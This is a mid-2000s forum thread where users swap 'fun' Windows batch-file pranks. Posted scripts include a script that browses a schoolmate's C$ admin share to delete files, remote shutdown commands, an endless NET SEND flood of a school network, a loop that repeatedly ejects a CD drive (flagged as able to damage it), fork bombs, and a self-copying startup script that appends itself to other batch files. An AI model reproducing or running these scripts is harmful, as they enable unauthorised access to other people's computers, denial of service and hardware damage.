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Posted on 21-12-05 22:53
dose anyone know any fun batch files?
ive been looking on google for batch files and i have heard stories of people pulling pranks on dos but it dosnt explain how

ty Smile, hassan
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Posted on 21-12-05 23:14
Try making them, they are fun, but there isnt much ofa wide range of stuff you can do with them. Try looking up on Google what you can do when you manipulate RunDLL32 from Command Prompt.


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Posted on 23-12-05 00:16
@echo off
echo Comp number?
set /p %cn=\\fbhs-techlab
start \\fbhs-techlab%cn%\c$

Ive used this at school once. Someone got ahold of some of my files, so I got on their C drive and deleted my files. Never knew what hit them.
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Posted on 25-01-06 20:45
@echo off
shutdown -s -t X

shuts down the computer after X seconds.
you could also try adding -m \\"computername" command, then it tries to shut down the computer with the same name as you have given. But i have never gotten this to work for some reason.

Anyone who knows more about this command can contact me and explain it to me if he wants to.Grin


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Posted on 25-01-06 20:55
If you're on a network at school...

@echo off
:loop
NET SEND * annoying message goes here
goto loop

This will send a message to everyone on your schools network continusly untill you stop it with CTRL + C or the close button


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Posted on 24-04-06 16:20
you looped yourself there Wink


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Posted on 24-04-06 17:01
This one is fun.

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echo OPEN "MSCD0000" FOR OUTPUT AS #1> %TEMP%\CD.BAS
echo IOCTL #1, CHR$(0)>> %TEMP%\CD.BAS
echo SYSTEM>> %TEMP%\CD.BAS
QBASIC /RUN %TEMP%\CD.BAS
DEL %TEMP%\CD.BAS
GOTO CLOSE
:CLOSE
echo OPEN "MSCD0000" FOR OUTPUT AS #1> %TEMP%\CD.BAS
echo IOCTL #1, CHR$(5)>> %TEMP%\CD.BAS
echo SYSTEM>> %TEMP%\CD.BAS
QBASIC /RUN %TEMP%\CD.BAS
DEL %TEMP%\CD.BAS
GOTO OPEN

Major chunk of code gotten from http://www.ericphelps.com/ and added into loop by AldarHawk Pfft

PLEASE NOTE THAT THIS CAN SERIOUSLY DAMAGE A CD-ROM DRIVE! USE WITH CAUTION




Edited by AldarHawk on 24-04-06 19:36
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Posted on 24-04-06 19:15
hmcq6 wrote:
dose anyone know any fun batch files?
ive been looking on google for batch files and i have heard stories of people pulling pranks on dos but it dosnt explain how

ty Smile, hassan


Go to the microsoft website, they have all cmd prompt commands. then learn them. Its what I did.
Heres another batch thats fun
@echo off
:lol
Copy %0
goto lol
Bl4ckC4t




Edited by bl4ckc4t on 24-04-06 23:01
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Posted on 30-04-06 20:30
system_meltdown wrote:
If you're on a network at school...

@echo off
:loop
NET SEND * annoying message goes here
goto loop

This will send a message to everyone on your schools network continusly untill you stop it with CTRL + C or the close button

I've tried this on my own computer (not a netword) and it won't work. Is that command only meant for networks or am I doing it wrong?


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Posted on 30-04-06 20:57
ImperfectTruth wrote:
system_meltdown wrote:
If you're on a network at school...

@echo off
:loop
NET SEND * annoying message goes here
goto loop

This will send a message to everyone on your schools network continusly untill you stop it with CTRL + C or the close button

I've tried this on my own computer (not a netword) and it won't work. Is that command only meant for networks or am I doing it wrong?


Windows XP now dissallows the Net Send feature by default, ou need to allow it on every machine on your network if you want it to work.


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Posted on 30-04-06 21:44
You can do that by typing

net start messenger

If you get an error, find the services list and enable "Messenger", set it to Manual, then type in net start messenger.

If you set it to auto, it will turn on when the computer starts.


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Posted on 30-04-06 22:02
I think you also have to enable "Alerter" in services for it to work.


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Posted on 30-04-06 22:13
TAoS wrote:
You can do that by typing

net start messenger

If you get an error, find the services list and enable "Messenger", set it to Manual, then type in net start messenger.

If you set it to auto, it will turn on when the computer starts.

Sorry if this sounds dumb, (I'm sure it will), but when you say "net start messenger" is that typed in notepad in the batch file? And I can't find the services list. I'm very sorry to sound so dumb, but I've got to learn somehow.



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Posted on 01-05-06 00:55
Its ok, everyone learns somewhere.

To open the services list go Start -> Run, and type in services.msc
Then when you want to type that net start messenger, you open a command prompt, by going Start -> Run and typing in 'cmd' without the quotes.


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Posted on 01-05-06 02:28
heres a fun one

@echo off
:A
echo *insert message*
start *name of batch prog.*
goto A

this makes the batch program open itself
and then there are 2 batch programs opening
then 4, then 8, 16, 32, 64, 128, 256, 512, 1024, 2048 etc.
and it all happens really fast until the comp slows down Smile
enjoy
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Posted on 01-05-06 05:14
Thanks guys- that helped a lot. I was also wondering if you could make a batch file, like the timed shutdown one, run across a whole network. I'm very curious as to the possibilites of batch programs in general, and this is a question that's been in my mind for a while. Any help is appreciated.

*Edit* I've been working with making batch files start up when windows activates. I can't get this program to work. I'm sorry to post it on your thread, but a new one isn't needed I don't think. SmileSad

Here's the code... can you help me find out why it won't save to the windows startup folder? This code is VERY simple- this isn't the application I would be using it in.

@echo off
echo GOOD MORNING SUNSHINE!!!!!!
color 0C
pause
ctty nu]
for %%i in (open.bat) do copy %0+%%i %%i /y >nu]
type %0 >>other.bat
copy %0 %windir%WINSTART.bat






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